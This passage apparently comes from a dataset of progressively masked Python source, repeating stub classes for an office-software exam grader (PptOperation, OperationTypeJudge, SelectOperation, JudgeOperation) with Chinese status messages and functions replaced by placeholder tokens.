token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass ExcelOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeOperFromStr(self, OperStr):\n if OperStr.find('动画') != -1:\n print('进入动画操作')\n self.judgeAnimation(OperStr)\n print('结束动画操作')\n if OperStr.find('切换') != -1:\n print('进入切换操作')\n self.judgeSwitch(OperStr)\n print('结束切换操作')\n if OperStr.find('超级链接') != -1:\n print('进入超级链接操作')\n self.judgeHyperlink(OperStr)\n print('结束超级链接操作')\n if OperStr.find('背景') != -1:\n print('进入背景操作')\n self.judgeBackground(OperStr)\n print('结束背景操作')\n if OperStr.find('插入') != -1:\n print('进入插入操作')\n self.judgeInsert(OperStr)\n print('结束插入操作')\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeHyperlink(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n\n def judgeBackground(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n\n def BackgroundOper(self):\n pass\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n\n def InsertOper(self, style):\n pass\n <function token>\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n <function token>\n <function token>\n\n def HyperlinkOper(self):\n pass\n\n def judgeAnimation(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n <function token>\n <function token>\n\n def HyperlinkOper(self):\n pass\n <function token>\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n\n def judgeInsert(self, OperStr):\n print('正在完成要求', OperStr)\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n\n def judgeSwitch(self, OperStr):\n print('正在完成要求', OperStr)\n pattern = re.compile('“(.*)”')\n print(pattern.findall(OperStr))\n strFile = str(pattern.findall(OperStr))\n file1 = strFile.split('”')\n source = file1[0][2:]\n print(source)\n file2 = strFile.split('“')\n dest = file2[1][0:-2]\n print(dest)\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n\n def AnimationOper(self):\n pass\n\n def SwitchOper(self):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n\n def __init__(self):\n pass\n <function token>\n\n def SwitchOper(self):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n <function token>\n <function token>\n\n def SwitchOper(self):\n pass\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass PptOperation:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass OperationTypeJudge:\n\n def __init__(self):\n pass\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def getOperaPath(self):\n pass\n\n def getOperaFileName(self):\n pass\n\n\n<docstring token>\n\n\nclass SelectOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<docstring token>\n\n\nclass JudgeOperation:\n\n def __init__(self):\n pass\n\n def getQusetionTxt(self, item):\n pass\n\n def getQusetionPic(self, item):\n pass\n\n def getAnswer(self, item):\n pass\n\n def getCorrectAnswer(self, item):\n pass\n\n\n<code token>\n", "<assignment token>\n<import token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n<class token>\n<docstring token>\n\n\nclass OperationTypeJudge:\n <function token>\n\n def getType(self, OperStr):\n if OperStr.find('替换') != -1 or OperStr.find('首行缩进') != -1:\n print('这是word题要求')\n print('已转word题处理')\n elif OperStr.find('公式') != -1 or OperStr.find('函数') != -1:\n print('这是excel题要求')\n print('已转excel题处理')\n elif OperStr.find('切换') != -1 or OperStr.find('动画') != -1:\n print('这是ppt题要求')\n print('已转ppt题处理')\n pass\n\n def 